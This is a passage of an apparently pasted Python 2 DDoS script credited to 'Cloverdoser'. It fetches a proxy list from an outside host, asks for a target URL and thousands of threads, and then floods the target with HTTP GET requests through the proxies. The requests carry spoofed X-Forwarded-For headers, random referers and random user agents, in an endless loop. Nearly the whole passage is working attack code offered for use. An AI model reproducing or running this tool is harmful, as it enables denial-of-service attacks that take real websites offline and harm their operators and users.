  587.                 print ''
  588.  
  589.  
  590. def randomIp():
  591.     random.seed()
  592.     result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  593.     result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  594.     return result
  595.  
  596. def randomIpList():
  597.     random.seed()
  598.     res = ""
  599.     for ip in xrange(random.randint(8, 10)):
  600.         res = res + randomIp() + ", "
  601.     return res[0:len(res) - 2]
  602. class attacco(threading.Thread):
  603.     def run(self):
  604.         referer_list()
  605.         current = x      
  606.         if current < len(listaproxy):
  607.             proxy = listaproxy[current].split(':')
  608.         else:
  609.             proxy = random.choice(listaproxy).split(':')
  610.         useragent = "User-Agent: " + getUserAgent() + "\r\n"
  611.         forward   = "X-Forwarded-For: " + randomIpList() + "\r\n"
  612.         referer   = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) +  "\r\n"
  613.         httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  614.         while nload:
  615.             time.sleep(1)
  616.             pass        
  617.         while 1:
  618.             try:
  619.                 a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  620.                 a.connect((proxy[0], int(proxy[1])))
  621.                 a.send(httprequest)
  622.                 try:
  623.                     for i in xrange(4):
  624.                         a.send(httprequest)
  625.                 except:
  626.                     tts = 1                
  627.             except:
  628.                 proxy = random.choice(listaproxy).split(':')
  629. #Download proxy
  630. def stealStuff(file_name,file_mode,base_url):
  631.     from urllib2 import Request, urlopen, URLError, HTTPError
  632.    
  633.     #create the url and the request
  634.     url = base_url + file_name
  635.     req = Request(url)
  636.    
  637.     # Open the url
  638.     try:
  639.         f = urlopen(req)
  640.         print "\nDownloading " + url
  641.        
  642.         # Open our local file for writing
  643.         local_file = open(file_name, "w" + file_mode)
  644.         #Write to our local file
  645.         local_file.write(f.read())
  646.         local_file.close()
  647.        
  648.     #handle errors
  649.     except HTTPError, e:
  650.         print "HTTP Error:",e.code , url
  651.     except URLError, e:
  652.         print "URL Error:",e.reason , url
  653. #Main
  654. url = 'http://hulk1.esy.es/'
  655. stealStuff('proxy.txt',"b",url)
  656. print '\nUpdate proxy success'
  657. print '\n\t..:: > DDOs proxy by Cloverdoser < ::..'
  658. print '\t  ==> #~~ Cloverdoser ~~# <==  '
  659. # Site
  660. url = raw_input("Trang: ")
  661. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  662. #Proxy
  663. in_file = open(raw_input("Fileproxy(.txt): "),"r")
  664. proxyf = in_file.read()
  665.  
  666.  
  667. in_file.close()
  668. listaproxy = proxyf.split('\n')
  669. #So luong
  670. thread = input("So luong (3500): ")
  671. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  672. accept = "Accept-Encoding: gzip, deflate\r\n"
  673. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  674. nload = 1
  675. x = 0
  676. print("\nCode ddos by cloverdoser")
  677. if url.count("/")==2:
  678.     url = url + "/"
  679.     m = re.search('http\://([^/]*)/?.*', url)
  680.     host = m.group(1)
  681. for x in xrange(int(thread + 1)):
  682.     attacco().start()
  683.     time.sleep(0.003)
  684. print "|C|L|O|V|E|R|D|O|S|E|R"
  685. nload = 0
  686. while not nload:
  687.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement